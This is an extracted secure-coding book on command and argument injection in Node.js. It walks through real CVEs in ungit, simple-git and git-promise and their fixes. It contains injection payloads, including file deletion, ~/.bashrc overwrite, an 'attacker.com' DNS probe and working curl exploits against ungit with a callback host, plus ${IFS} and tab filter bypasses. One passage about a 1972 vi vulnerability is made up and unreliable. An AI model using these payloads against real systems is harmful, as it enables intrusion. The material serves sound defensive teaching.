Tal L. Node - Js Secure Coding. Defending Against Command Injection Vulnerab. 2023
Tal L. Node - Js Secure Coding. Defending Against Command Injection Vulnerab. 2023
Revision history:
1. 2023-09-23
2. 2023-05-01
a. New Appendix chapter includes self-assessment questions, reviews of closed-source and open-
source real-world command injection vulnerability implications, and CVE list.
3. 2023-04-07
a. First edition.
Preface | 1
Preface
Learn about secure coding practices with Node.js based on real-world CVE vulnerabilities in popular
open-source npm packages.
This book takes an adventure-based approach to application security learning, where you will be playing
detective who unravels the mysteries of common security vulnerabilities. Through these exercises you
will learn about secure coding practices, and how to avoid security pitfalls that software developers and
open-source maintainers get caught with.
Senior software engineers often recite how one of the most critical skills you should have as an engineer
is the ability to read code. The more you read, the easier it becomes for you to understand code and the
more context you gain. This book focuses exactly on that - reading vulnerable code, so we can learn from
it. This activity creates patterns that our brain learns to identify and that later quickly turn into red flags
that we detect and apply in our day-to-day programming and code review routines.
Through insecure coding practices found in vulnerable open-source npm packages, this book examines
the security aspects affecting JavaScript and Node.js applications. Developers of other languages such as
Python will find references to insecure code and best practices relatively easy to transfer to other server-
side languages and software ecosystems.
• How real-world software libraries were found to be vulnerable and their methods of fixing security
issues.
2 | Preface
• Proficiency in performing secure code reviews as they apply to concerns and the scope of command
injection security vulnerabilities.
Software developers
Software developers who build web applications, and specifically those who practice server-side
JavaScript development on-top of the Node.js runtime will greatly benefit from the secure coding
practices learned in this book.
As a software developer, you will engage in step-by-step code review of real-world popular libraries and
their vulnerable code, through which you will investigate how security vulnerabilities manifest and
understand the core reasons that lead to a security risk.
By reviewing code used in real-world software libraries, you will learn to recognize patterns of insecure
code. In addition, you will learn secure coding best practices for working with system processes.
Security practitioners
Security professionals who wish to learn and investigate the source of insecure code and security
implications concerned with vulnerable open-source and third-party libraries that make up an
application’s software composition analysis (SCA).
If you have a high level of familiarity and understanding of application security concepts such as OWASP,
NVD, and other security jargon then you can skip the Introduction to application security concepts.
For readers who have an in-depth understanding of command injection vulnerabilities, such as those
who have prior experience fixing them as a developer, or disclosing a command injection vulnerability
through a bug bounty program, you can skip the command injection primer. Keep in mind, the
command injection introduction chapter provides an elaborate foundation of different types and other
insightful security considerations. It can still be effective educational content even for experienced
Preface | 3
practitioners.
At the core of this book is a deep-dive into real-world security vulnerabilities reviews. Each vulnerability
that we review is assigned a security identifier, such as a CVE, and has impacted real-world npm
packages, some of which you might even be using.
4 | Preface
About the Author
Liran Tal is an accomplished software developer, respected security researcher, and prominent advocate
for open-source software in the JavaScript community. He has earned recognition as a GitHub Star, in
part for his tireless efforts to educate developers and for his contributions to developing essential
security tools and resources that help JavaScript and Node.js developers create more secure
applications.
Liran is also an accomplished security researcher and has disclosed security vulnerabilities in various
open-source software projects, including being credited with CVEs impacting npm packages. His work on
supply chain security research, including Lockfile Injection, was presented at Black Hat Europe 2021
cybersecurity conference.
As an experienced author and educator, Liran has written several widely respected books on software
security. These include "Serverless Security" published by O’Reilly, as well as the self-published titles
"Essential Node.js Security" and "Web Security: Learning HTTP Security Headers". He is passionate about
sharing his knowledge and occasionally speaks on software security topics at academic institutions, such
as presenting to students at the Electrical and Computer Engineering School at Purdue University.
Since joining Snyk, Liran has made a significant impact as a developer advocate, empowering developers
with the knowledge and tools needed to build and deploy secure software at scale. His contributions to
the developer community have been instrumental in advancing the state of application security and
strengthening the adoption of secure coding practices.
It’s necessary for software developers to understand the terminology used by security professionals,
become aware of their standards and comprehend the role they play in application security. Doing so
can assist in assimilating information on secure coding, which is a fundamental component of IT security.
Learnings
By the end of this chapter, you should be able to answer questions such as:
• What is NVD?
• What is a source-to-sink?
1.1.1. OWASP
The Open Web Application Security Project (OWASP) is a non-profit organization that aims to improve
the quality of software on the internet through active work to make it more secure. The OWASP
Foundation provides resources to help security professionals and developers create secure software.
This extends to guides, tools, and documentation; developers should be aware of the Open Web
Application Security Project (OWASP), as it is a widely recognized and respected source of information on
software security.
In addition to the OWASP Top 10, developers should also be aware of other OWASP resources, such as
the OWASP Application Security Verification Standard (ASVS) and the OWASP Secure Coding Practices
Quick Reference Guide. These resources provide detailed guidance on how to write secure code and
adhere to secure coding practices.
It is essential for software developers to familiarize themselves with OWASP and make use of its
resources to develop secure applications. This will ensure that any potential vulnerabilities are
eliminated and organizations or people can be spared from expensive security breaches.
• OWASP Top 10 - known commonly as a security weaknesses awareness document, the OWASP Top
10 is a list of the most common and most critical web application security risks. It however doesn’t
aim to provide an exhaustive list or claim that one weakness is more dangerous than another. The
list is curated by OWASP Foundation members and other guests who are invited to share their
expertise. It is reviewed every few years to make updates to the list. It provides an ideal starting
point for developers to understand the types of vulnerabilities they should be aware of and work to
prevent in their software.
• OWASP NodeGoat and OWASP Juice Shop - these are both open-source projects that present a
security-focused learning platform for JavaScript and Node.js developers. You can clone them on
GitHub and experience real-world misconfigurations and security issues. At the time of writing this
book, they’re known to cover all of OWASP’s Top 10 vulnerabilities for developers to learn about and
exploit in a controlled environment.
• OWASP Cheat Sheet Series - the OWASP Cheat Sheet Series provides comprehensive security advice
for a wide range of languages, platforms, and development practices. In general, it provides
guidance on secure coding practices for JavaScript and Node.js developers, such as NPM Security
best practices, the Node.js Docker Cheat Sheet, and others.
The author of this book has contributed to the OWASP Cheat Sheet Series. This includes the
Node.js Docker Cheat Sheet and the NPM Security Cheat Sheet which have been widely
referenced and recognized by the Node.js community.
MITRE is a non-profit organization that operates research and development centers sponsored by the US
government. One of MITRE’s many areas of focus is cybersecurity and the development of application
security frameworks, such as MITRE ATT&CK. In addition, MITRE provides other cybersecurity resources
and tools to help organizations and individuals improve their cyber defenses.
One of MITRE’s most known contributions to the security industry is the establishment and maintenance
of the Common Vulnerabilities and Exposures system, commonly referred to as CVE. This system tracks
and maintains security vulnerabilities and assigns each of them an ID, referred to as a CVE ID, or for
short, a CVE. It then categorizes them into specific classifications such as CWE-78: Improper
Neutralization of Special Elements used in an OS Command ('OS Command Injection'). This classification
system is known as Common Weakness Enumeration (CWE).
MITRE maintains its list of open and public security vulnerabilities database through the National
Vulnerability Database, known commonly by its acronym: NVD. As such, NVD is a website that provides
access to the CVE database, which is a list of all publicly known security vulnerabilities and their
associated CVE IDs.
Useful resources:
• MITRE CVE - this is the home for the overall management of CVEs, providing access to CVE artifacts, a
searchable list, the issuing of CVEs as well as modifications to existing CVEs. It also lists current
working groups and other resources such as Common Numbering Authorities, known as CNAs. A
CNA is an organization that has been approved and authorized by MITRE to handle disclosures of
security vulnerabilities and issue CVE IDs
As a maintainer of open-source npm packages, you may find yourself handling CVE reports
pertaining to your project. The MITRE CVE website is the address to submit revocation
requests or other modifications to be made to a CVE report that was issued to a project you
are maintaining or contributing to.
• NVD - MITRE’s CVE database is made publicly available for consumption through NVD, the National
Vulnerability Database. In NVD, each vulnerability is well described with metadata, accompanying
resources, a severity score, and the product or vendor information it is associated with in terms of
impact.
Typically, developers integrate and use third-party open-source libraries to build applications. With the
peak adoption of open-source software these days, reliance on community-powered open-source
software extends to more than just security risks with libraries.
• How many active maintainers and contributors are working on the project?
The Snyk Advisor is a free web tool to help gauge a package’s health status and curate a project’s
sustainability and security criteria into a holistic comparable health score. This helps developers and
engineers make better decisions about open-source projects based on current factual data.
Figure 2. Snyk Advisor package health score for the remark package
Another source of package health information is deps.dev which is a free web resource tool made
available by Google and provides open access to the data through BigQuery Public Dataset. The
following capabilities are powerful features to investigate dependencies beyond package health:
Figure 3. The lockfile-lint npm package OpenSSF scorecard details from deps.dev
Injection
A data payload provided to an application to deviate from its original execution intent. This is done by
composing data in a specific way.
Security controls
a mechanism to protect data, applications, and systems from unwanted and unintended behavior
such as unauthorized access, modification, or destruction. In relation to software and code, security
controls are often implemented as a set of rules, algorithms, and practices. These controls are used
to protect the application and its users from potential harm. For example, escaping user input is a
security control used to prevent command injection attacks.
OWASP Top 10
A widely recognized and industry-accepted document that provides a concise, high-level summary of
the top 10 most common weaknesses when it comes to web security.
Source to sink
Source to sink is a term used to describe the process of data flow within a program from where user
input originates (the source), to where it is used in some form (the sink). In order to ensure the
security of an application or the integrity of a system, it is common to implement security controls at
the source. This includes input validation or input sanitization. Security controls can, and should, be
employed at the sink. Some examples are output encoding and parametrized queries.
CVE
A Common Vulnerabilities and Exposures is an identifier assigned to a publicly disclosed security
vulnerability. It provides a common reference for identifying and tracking vulnerabilities. It is
recognized as a standard for identifying vulnerabilities across the industry. As a developer, you can
think of CVE IDs as backlog ticket IDs for security vulnerabilities.
CVSS
Common Vulnerability Scoring System is a standardized method for assessing the severity of security
vulnerabilities. It is commonly used in conjunction with CVEs to provide a quantitative measure of the
potential impact of a vulnerability. CVSS assigns a score to a vulnerability based on a number of
factors. These factors include the impact on the confidentiality, integrity, and availability of the
affected program or underlying system. The vulnerability is also evaluated based on its ease of
exploitation and likelihood of being exploited. The resulting score is a value between 0 and 10, with
higher scores indicating more severe vulnerability.
CWE
Common Weakness Enumeration is a standardized classification of common software weaknesses
that can lead to security vulnerabilities. It was developed by MITRE as a way to establish a common
software vulnerability categorization. Additionally, it provides the basis for tools and services that can
assist organizations in identifying and addressing these vulnerabilities. A CWE is also structured
hierarchically and contains metadata about vulnerability classes, mitigation and prevention.
Vulnerability
A security vulnerability is a weakness in a computer program or a computer system that can be
exploited by a malicious party to gain unauthorized access to sensitive data or to disrupt the normal
Exploit
An exploit is a technique, method or program code that is developed and used to take advantage of a
vulnerability in a computer system or a software application. Exploits are then executed in order to
gain advantage of a vulnerable system.
Attack vector
An attack vector is a path or means by which an attacker can gain access to a computer system or
software application to exploit a vulnerability. Attack vectors can take many forms, such as
manipulating input data in a way that causes the system to behave unintentionally. In addition, they
can use social engineering techniques to trick users into divulging sensitive information or access
credentials.
Payload
A payload is commonly used in exploits and is part of an attack that is delivered to a target system or
application that may perform malicious actions.
Attack surface
refers to all available interfaces and components accessible to an attacker and can potentially be
exploited to perform malicious actions on a system.
OS Command injection
A software security vulnerability that allows attackers to execute arbitrary system commands in the
context of an operating system (OS). These vulnerabilities apply to web applications but extend to
other technologies such as connected end-point devices, routers, and printers.
Argument injection
A type of command injection vulnerability that manifests in the form of an attacker’s ability to modify
or abuse the command-line arguments of a given command, even if they cannot modify the
command itself.
Select the correct answer (some questions may have multiple correct answers):
4. What is injection?
c. A type of attack where untrusted data is sent to an interpreter as part of a command or query
c. The flow of data within a program from user input to where it is used
b. CVE is a scoring system used to assess the severity of a vulnerability, while CVSS is a database of
known vulnerabilities
c. Both CVSS and CVE are databases of known vulnerabilities, but CVE focuses on the impact of the
vulnerability, while CVSS focuses on its severity
d. Both CVSS and CVE are scoring systems used to assess the severity of a vulnerability, but CVSS is
more widely used in industry
a. MITRE is a government organization that focuses on cyber security research, while NVD is a
database of known vulnerabilities
b. NVD is a government organization that focuses on cyber security research, while MITRE is a
database of known vulnerabilities
c. Both MITRE and NVD are databases of known vulnerabilities, but MITRE focuses on the impact of
the vulnerability, while NVD focuses on its severity
d. Both MITRE and NVD are organizations that focus on cyber security research, but MITRE is more
widely known in the industry.
1. a)
2. c)
3. a)
4. c)
5. c)
6. a)
7. b)
Command Injection
In this introductory chapter we learn about command injection as a security vulnerability. We also learn
why software is commonly vulnerable to this type of vulnerability, and its impact on applications and
software libraries. We also expand upon different types of command injection vulnerabilities and how
the security community classifies this vulnerability.
Learnings
By the end of this chapter, you should be able to answer questions such as:
• Command injection vulnerabilities and their impact on applications and software libraries.
• Patterns of insecure code that lead to command injection vulnerabilities and identifying them in
other programming languages.
When code that is meant to spawn system processes cannot distinguish between the programmer’s
original intention and dangerous user input. This results in an unsafe and unsantizied command being
executed.
The class of injection attacks has been featured at the top of OWASP’s Top 10 web security risks for over
two decades. These types of attacks have been a pivotal, recurring, and dangerous set of vulnerabilities
that developers have struggled with mitigating for a long time.
In this section, we will explore the different types of command injection vulnerabilities and how they can
be exploited. Among others, you will learn:
At the end of each vulnerability chapter you will also learn about root causes and how to apply secure
coding practices and other conclusions. This will effectively help you avoid these types of vulnerabilities
when writing code.
NOTE
The Node.js runtime enables developers to execute operating system commands using the Child Process
API accessible through node:child_process which provides synchronous and asynchronous methods
to spawn subprocesses.
./app.js
As another reference to vulnerable code, the following is an OS command injection example in PHP:
./app.php
$username = $_POST["username"];
system('ls -l /home/' . $username);
In both code snippets above, a user is in control of input such as the URL for a Git repository to be
cloned in the Node.js example. In the PHP example, a user can list files in a user’s home directory on a
server. This user input that we refer to as a source is then concatenated to operating system commands
(git and ls, respectively) using sensitive APIs (execSync and system, respectively) which we refer to as
a sink.
By controlling these inputs, attackers exploit an OS Command Injection vulnerability, with a payload such
as ; touch /tmp/pwned . This payload uses the special character of a semicolon (;) which instructs a
shell interpreter to terminate a command, and begin another command to be executed. In that payload,
touch is a Unix command that creates empty new files at a given path. However, more destructive
inputs such as deleting all files, reading environment variables and sending them to a remote attacker,
would’ve been just as easy to abuse on a vulnerable system.
An interesting and not widely known type of command injection is that of Argument Injection which is
classified as CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument
Injection').
You might answer "no", and you might rationalize it as follows: the code snippet is not vulnerable to
command injection because the url and branch variables are not concatenated with the git
command. Instead, they are passed as arguments to the git command.
However, you’d be wrong and that’s a common misconception and blind spot regarding argument
injection vulnerabilities.
Let’s consider an example where an application uses the wget command to download a resource from a
given URL:
• -O ~/.bashrc
• -P /etc
The above examples make use of command-line options such as specifying the output document (-O) or
the directory prefix (-P).
These payloads are designed to change the original intention the developer had when building the wget
command. This could result in arbitrary file overwriting, or other severe consequences such as denial of
service. This was made possible due to the developer trusting a command argument passed as input
from a user. This ended up abusing the available command-line arguments and options available to use
within the scope of a specific command.
The first security vulnerability ever reported that was classified as Argument Injection dates back
to May 25th, 2004.
The vulnerability, identified as CVE-2004-2687, was found in the Opera browser and its handling
of Telnet protocol scheme. From the original report:
The telnet URI handler in Opera does not check for leading '-'
characters in the host name. Consequently, a maliciously-crafted
telnet:// link may be able to pass options to the telnet program
itself. One example would be the following:
telnet://-nMyFile
If MyFile exists in the user's home directory and the user clicking on
the link has write permissions to it, the contents of the file will be
overwritten with the output of the telnet trace information. If MyFile
does not exist, the file will be created in the user's home directory.
was a command injection vulnerability. It was reported in 1972 by Ken Thompson, the creator of
the Unix operating system, and Dennis Ritchie, the creator of the C programming language. The
vulnerability was in the vi text editor, and the vulnerability report was titled "Command
Injections in vi". The vulnerability was fixed in the same year.
Even though Argument Injection vulnerabilities date back to 2004, we’ve only seen reports of this type of
vulnerability in the wild in the last few years. Is this because the majority of developers are not aware of
this type of vulnerability and how to prevent it, or perhaps it is because this type of vulnerability has a
narrow scope given that it requires command-line tools to be used in a very specific way?
[1]
A recent study by Alessio Della Libera shows the rise in the number of vulnerabilities published in 2022.
This is across ecosystems from PHP and Ruby to Python and JavaScript. The study focuses on how this
vulnerability manifests in various version control systems such as Git and Mercurial. It also focuses on
how vulnerabilities found in one are easily transferable to the other.
[2]
Another study by SonarSource shows that Argument Injection vulnerabilities are not limited to version
control systems. The study shows that this type of vulnerability exists in a wide range of tools and
libraries. These include psql, sendmail, ssh, tar, zip and other command-line tools.
A Blind Command Injection is not formally a type of command injection vulnerability. Instead, it is a
technique that helps attackers as they engage in reconnaissance and exploitation of command injection
vulnerabilities.
Sometimes, an application may use system commands in an out-of-bounds context. Meaning, the actual
action of executing the command happens in a different set of contexts or environments altogether. This
doesn’t return a command’s output or any form of immediate feedback to a user that interacts with the
system, and indirectly, with the command.
To lean on the previous example used to explain argument injection, imagine a scenario where a user
provides an image, and the system takes this input, pushes it to a queue, and then worker nodes are
spawned in response to queue messages with the purpose of downloading images and performing
image processing tasks, such as converting between different formats or applying specific image
resolution changes.
These worker nodes are servers, or functions, that operate in an out-of-bound context. As in, they don’t
expose any API to interact with and aren’t directly accessible by an attacker. Yet, they may still be
vulnerable to Command Injection or Argument Injection. In this case though, how would an attacker find
out about that?
By providing an exploit payload which is specifically crafted to trigger a side effect and then monitoring
for whether it successfully took place. For example, an attacker that is in control of a domain name
system of their own operation, can monitor for whether DNS requests are executed to resolve
addresses. Then, they can craft a payload which triggers a domain name resolution, such as nslookup
attacker.com. If a worker node is vulnerable to a type of command injection which results in this
command executed, then attackers have now become cognizant of a command injection vulnerability
that exists somewhere in some system or subsystem. They are then able to further fine-tune their
payloads to increase the attack surface and infiltrate the system or take other paths towards
compromising a given system.
For command injection related vulnerabilities, CWE-77 is used as the parent weakness identifier and can
be further expanded into specific types of command injection vulnerabilities. The following are
commonly used CWEs to classify them:
Note that CWE-78 is the parent weakness identifier for command injection vulnerabilities. This means
that CWE-78 is a more general weakness identifier, and that CWE-88 is a more specific weakness
identifier that applies to vulnerabilities classified as argument injection.
Whether you are originally a JavaScript developer, or have experience with other programming
languages, it is imperative to train your brain to recognize these patterns of command injection.
Let’s explore several real-world vulnerabilities in other frameworks and languages, beyond Node.js.
Let’s look at the following small C program which prints the contents of a file.
1. It uses the cat UNIX-based utility that exists on UNIX-based operating systems such as macOS, and
Linux distributions.
2. It receives user input in the form of a command argument. Specifically, the first argument passed to
this program is the file path for the file to view the contents of.
3. It concatenates the cat command with user input to form the full command, and executes it via the
system system call.
While this program code may seem innocent, since the user is unable to actually change the cat
command to anything else. It is after all, hard-coded into the program’s source code. And also, if the user
Let’s now look at the following user input passed to the following C program:
As you can see, this program’s input is now taking advantage of the special shell character ;. It
terminates the former command, and begins a completely new command which deletes the file
/etc/important-file.
Of course, the special semicolon character ; is not the only one to be aware of, if you are thinking in
terms of sanitizing potentially dangerous characters. Here are other examples of file path user input:
1. "/etc/passwd & rm -rf /etc/important-file" shows the use of the single ampersand
character & which is used to run commands in the background.
2. "/etc/passwd && rm -rf /etc/important-file" shows the user the double ampersand
character && which is a logical AND operation, so it will run the right-most command if the left-most
command is truthy.
There are many more permutations of shell characters that may be used in command injection attacks.
If anything, the above only shows that sanitizing user input in the context of command injection isn’t an
easy task and shouldn’t be taken lightly.
Select the correct answer (some questions may have multiple correct answers):
d. The fs module
c. By validating and sanitizing user input, and using a secure process execution API such as
execFile
d. An attacker can execute arbitrary commands on a server, potentially gaining access to sensitive
data or causing system damage
a. A security vulnerability that allows an attacker to modify the return value of a function call in
order to execute malicious code
b. A security vulnerability that allows an attacker to modify the functionality of a function call in
order to execute malicious code
c. A security vulnerability that allows an attacker to modify the arguments of a function call in order
to execute malicious code
d. A security vulnerability that allows an attacker to modify the parameters of a function call in
order to execute malicious code
a. CWE-79
b. CWE-78
c. CWE-119
d. CWE-89
1. c)
2. c)
3. c)
4. d)
5. c)
6. b)
[1] https://snyk.io/blog/argument-injection-when-using-git-and-mercurial
[2] https://sonarsource.github.io/argument-injection-vectors
The ungit npm package is both an open source library as well as a full fledged web application to
manage git repositories and aims to be a cross-platform solution.
Even from this supposedly unpopular project we can learn a lot about the surprising ways in which
command injection may occur. Based on Snyk’s Advisor popularity metrics this module receives just
under 1000 downloads a week, hence a really small user-base. The yearly download count hits about
30,000 and while it isn’t a big user base, many users would be impacted by a severe vulnerability here.
To be fair, ungit is more of a project than a library, and as such it boasts almost 10,000 GitHub stars
which demonstrate a decent popularity rank.
Like many Git-related libraries, ungit relies on the existence of the git program on the system it runs
on, and uses it in the form of spawning system processes for functionality like cloning a repository, and
fetching updated source code versions from Git branches. Surely, at this point you might be thinking that
this is another insecure use of concatenating user input with system commands from the program.
While that is indeed a common pattern with OS command injection related vulnerabilities, it isn’t here. At
least not exactly in the way you think.
On March 21st, 2022, a remote command injection vulnerability was published by the Snyk security
research team. A few notes about this open-source project and the security posture of the maintainer:
2. This command injection security vulnerability was disclosed on March 2nd and a fixed version
addressing the concerns was published in just under 3 weeks.
Before we continue to learn more from the security vulnerability report, let’s focus on the original author
code. The following code snippets show the vulnerable code that was identified as part of the CVE
report.
The git-api.js file defines a /fetch API endpoint to which the web interface can make requests in
order to invoke a git fetch workflow:
ungit/git-api.js
It seems that the code path from the original gitPromise() function call on the API file flows through
the gitExecutorProm() function. Let’s take a look:
ungit/git-promise.js
Spend some time now reasoning about the code path as shown above and locating where the
vulnerability lies in the code.
1. If you were doing a code review, what could you share about the gitExecutorProm() function
from a secure coding conventions point of view?
2. Can you think of methods of securely building an application that provides Git management
functionality that doesn’t involve spawning system commands or relying on the git program?
NOTE
One of the reasons for missed security vulnerabilities is that real-world code-bases tend to be
large, even with microservices architecture. Like in this case, code paths also tend to flow
between different files, which further contributes to difficulties finding them.
The CVE report, CVE-2022-25766, provides further details as to the vulnerable version range and severity:
2. It finds this vulnerability’s severity to be high with a CVSS score of 8.8. This is due to identifying the
vulnerability’s Attack Vector of Network, as well as not requiring any user interaction nor elevated
privileges on systems that deploy ungit.
TIP
You can use a free and public Snyk endpoint to test for security vulnerabilities in specific versions
of npm packages, by querying the URL endpoint such as the following:
https://snyk.io/test/npm/ungit/1.5.19
While there are several ways of getting ungit deployed locally, we’ll install the specific package version
that includes the code vulnerability into a temporary directory, as follows:
2. In this newly created directory, initialize an npm project as follows: npm init -y
3. Install a known vulnerable version of ungit as follows: npm install [email protected] --ignore
-scripts --save
b. In the newly created directory, initialize a Git working space: cd /tmp/example-git-repo &&
git init
c. Head over to the directory where we installed ungit in ( /tmp/ungit-test) and now we’ll run it
and force it to open up with the sample Git repository that we initialized in /tmp/example-git-
repo. To do that, run it as follows: ./node_modules/.bin/ungit --forcedLaunchPath
/tmp/example-git-repo.
If you followed all of the above steps correctly, you should have ungit running and automatically
opening a browser tab that loads the local application and logs the following output:
Here’s a screenshot of the ungit application running as per the above instructions:
Figure 5. The ungit npm package runs in a local development environment and exposes an
administration user interface.
ungit/git-promise.js
On the surface, this looks like a secure way of invoking system commands. Indeed, the Node.js API
spawn() does well to separate the program being executed (gitBin) from the command-line
arguments passed to it (args.commands).
Where does the security vulnerability lie? Your first question to ask here is: which parts of this line of
code are user-controlled?
The source code for git-promise.js shows that gitBin is essentially a constant that is being resolved
using program heuristics to match the git program on the system it runs on:
Let’s look at the second function argument of that spawn() function call - args.commands. It is
necessary to trace back to one of the functions that calls args.commands to learn what type of variable
data is handled here. Let’s examine the relevant source code of the /api/fetch endpoint in git-
api.js:
ungit/git-promise.js
Reading the source code above, it seems the passed commands array is hard-coding the fetch string,
hence creating a git fetch command to be executed. While on the surface this looks secure, it also
includes user input originating from the HTTP request body in the form of the remote, and ref fields.
The end result of a typical command that would be executed is:
What’s a remote in Git? You probably think of remote Git URLs to clone, and fetch. The maintainer of this
library thought the same.
Apparently, the fetch command in the git program has a special argument passed to it as the value of
remote. Let’s look at the manual page for the git program for that:
What does the --upload-pack option do? In this way, it is possible to set a path for a program to be
called, upon which it will perform some Git-related work, on a certain path.
Well, then let’s try it out locally, outside of the whole ungit program. To test things out, we can make
use of the sample Git repository we created before. Run the following commands in your terminal:
1. cd /tmp/example-git-repo
After running it you’ll notice that the git program exited with an error about not being able to read from
a remote repository. Of course, because we didn’t provide one. But guess what happened? That’s right, a
new file named abc was created on disk:
With this knowledge, we can turn that into a functional exploit that we will employ as part of the
/api/fetch API route that ungit exposes. In fact, the maintainer indeed shared such an exploit as part
of a public pull request on the GitHub repository, which includes a fix for the issue.
Here’s the exploit command payload to execute while the ungit service is running in the background
with a repository loaded:
curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-
pack=touch /tmp/liran-is-here-too","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
Now, check your file system for the existence of the file /tmp/liran-is-here-too, demonstrating how
an Argument Injection attack works.
At this point, if you fancy creating a remote reverse shell example, the original exploit as shared in the
aforementioned GitHub pull request features a local server used with the netcat command that shows
how the Node.js server running the ungit program will actually attempt to connect to your own service:
curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-pack=curl
http://localhost:8000","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch
NOTE
Take a moment to come up with your own ideas and methods before reading the details of the
fix for the command injection vulnerability without making a significant change.
The maintainer created a pull request to address the command injection vulnerability. Let’s see what we
can learn from examining the commit diff:
The simplistic one-liner fix here is actually very powerful and demonstrates a deep understanding of how
the Unix shell works.
The fix is to add the set of -- characters to the constructed git command, which turns it into the
following:
The use of the -- characters have a special meaning for the shell interpreter. It signals to the program
(git in our case) to stop processing command-line arguments after the occurrence of the --, and treats
anything after it as positional arguments to the git program.
It is an elegant solution to avoid argument injection in program execution that leaks into the parsing of
command-line arguments.
NOTE
What other Unix utilities, that are often used as offloading work to, in the form of system
commands, can you think of? Do they include any arguments that may result in arbitrary
command injection?
That said, one might have deferred to the safer version of executing system processes, either with
spawn(), or with execFile(). Yet, the following code snippet is taken from ungit original source code
which was found vulnerable:
The key lesson we learned from this security vulnerability is the case of argument injection. This is
because attackers are able to control the data passed as arguments to the executed command. By doing
so, they are able to manipulate the original intention of a command and drive a different behavior
through its supported command-line arguments.
We learned about this attack vector, and more importantly, how to effectively mitigate such concerns by
employing the double dash -- special shell characters which communicates the end of arguments and
options parsing, and leaves further string text to be interpreted as position arguments to a command.
If you find the ungit argument injection lesson educational, but think it to be not as impactful on the
ecosystem due to the npm package being small in popularity as a project dependency, then I have news
for you.
Let me direct your attention to the npm package simple-git, which boasts nearly 2 million downloads
a week, and was found vulnerable to the same attack vector, identified as CVE-2022-24066.
So, simple-git is so popular that it is also used as a direct dependency in many projects. Looking at the
log of all security vulnerabilities disclosed to the library, we learn that CVE-2022-24433 was assigned and
disclosed on 11th of March 2022 for a similar case of Argument Injection as we learned with the case of
ungit:
The fix in pull request #767 was merged and published as version 3.3.0. Yet, just a short two weeks later,
it was still found susceptible to the same attack vector, identified and disclosed as CVE-2022-24066.
FUN FACT
The command injection vulnerability discussed in this chapter was identified and disclosed as
CVE-2022-24066 on March 29th as found by the author of this book, Liran Tal. In addition, Liran
discovered a similar attack vector impacting the git-pull-or-clone npm package, identified
by CVE-2022-24437, and several other npm packages.
• The ability to specify a non-HTTP accessible Git repository, so a filesystem-based Git workspace
would be an ideal option.
• When handling an array of command-line arguments, they aren’t sanitized, escaped or otherwise
modified.
With that, we’re ready to demonstrate how a command injection vulnerability occurs when users control
the options passed to this git.clone() API call:
simple-git/src/lib/tasks/clone.ts
1. Once again, the fix is only applied to a specific user-facing API method of Git. What new security
vulnerabilities will be discovered if there are other Git commands that support the --upload-pack
command-line argument on top of clone, and fetch?
2. The fix follows a deny-list approach, which maintains a list of potentially dangerous commands. The
logic for disallowedCommand only includes the --upload-pack command-line argument as an
attack vector to filter, but what happens if future Git versions use other command-line arguments?
simple-git maintained will need to keep this code up to date.
Will these security mitigations help prevent future exploitation techniques from impacting the simple-
git library? Time will tell.
NOTE
In summary:
1. It is critical to sanitize and validate user input, especially when passing input as command-line
arguments, to prevent command injection attacks.
2. Using a deny-list approach to security controls may not be sufficient, as it may not cover all potential
attack vectors. Developers should also consider an allow-list approach when building security
controls.
3. Popularity does not necessarily reflect a project’s security posture, nor should it convey that it is
secure or free of vulnerabilities.
4. With the use of third-party libraries for sensitive tasks such as executing system processes,
developers would do well to review the code of said libraries.
Is it possible that a package that was downloaded more than 2,230,590 times since its inception in 2014
was vulnerable all that time to a command injection vulnerability?
We are no short of command injection attacks impacting a myriad of Git-related libraries and wrappers.
This time it’s a vulnerability impacting the git-promise open-source project. It is a Node.js library that
is aimed at being a Promised-based Git utility wrapper, allowing API consumers to run any git command.
The git-promise npm package has been in the ecosystem for quite some time now, with the initial
version dating back to 2014, and has gained recognizable popularity, both through 12,000 weekly
downloads by end users and projects, as well as being occasionally used as a direct dependency,
according to the Snyk Advisor.
A Remote Code Execution vulnerability was disclosed on April 25th, 2020, identified by CVE-2022-24376,
in which all versions of git-promise were affected by the following proof of concept exploitation:
Specifically, lines 26 to 41 of index.js in the commit diff shed more light on how the problem was
mitigated:
On the surface, this looks like a necessary fix for a command injection vulnerability. The prior codebase
made use of the exec() API and concatenated user input which flowed into the command variable
passed to the function.
1. The execFile() function replaces the single command string that flows into exec() with a hard-
coded (execBinary) variable to represent the git binary, as well as passing arguments
( execArguments) separately.
2. Command arguments passed via the 'commandOrArgs' variable are split based on a space character.
This means that each argument is a member of an array of 'execArguments' passed to the
command.
simple-git/src/lib/tasks/clone.ts
You may try running this proof of concept using the fixed [email protected] version, and you’d
indeed observe that the file /tmp/abcd isn’t created on disk. That’s due to the "split by space" logic that
the fix included, which renders the malicious payload of --upload-pack=touch /tmp/abcd into two
separate command line arguments: --upload-pack=touch, and /tmp/abcd, which don’t make sense
to the git program.
One of the first proof of concept exploits that takes advantage of the incomplete fix in git-
[email protected] is as simple as passing input where the separator is tabs instead of spaces. Consider
the following code:
If you copy and paste this code properly, you’ll notice that there’s a TAB control character employed
between "touch" and "/tmp/abcd". Don’t mistake that for a space. If you are typing this code manually,
be sure to hit the tab key, and then run the program.
Developers can further apply sanitization logic and filter both spaces and tabs. That seems like an
effective defense against command injection. Except when it isn’t. Knowledgeable command-line experts
with deep knowledge of special shell characters could circumvent these sanitizer functions.
With this program’s code, the "split by spaces" logic fails and simply passes --upload
-pack=touch${IFS}/tmp/abcd-new as a valid command-line argument to the git program.
The ${IFS} string has a special meaning when used in shell environments. It’s an acronym for Internal
Field Separator, and the ${} string tells the shell to evaluate the environment’s IFS variable available to
the shell. By default, a field separator is represented by, you guessed it, a space character.
While maintainers of open-source packages may not have the time to actively code a security fix or
publish updated versions even if provided with one. However, there are still ways to help the community
and lower the risk of other developers using a vulnerable package.
One such way is to update the project’s README file to include a disclaimer about the security
vulnerability. This serves as a warning to developers who survey the project. It is good practice for open-
source projects, given that no other security fix is available as mitigation.
On May 2022, the git-promise project received and merged a pull request to add a security disclaimer
and let its users know of the security risk.
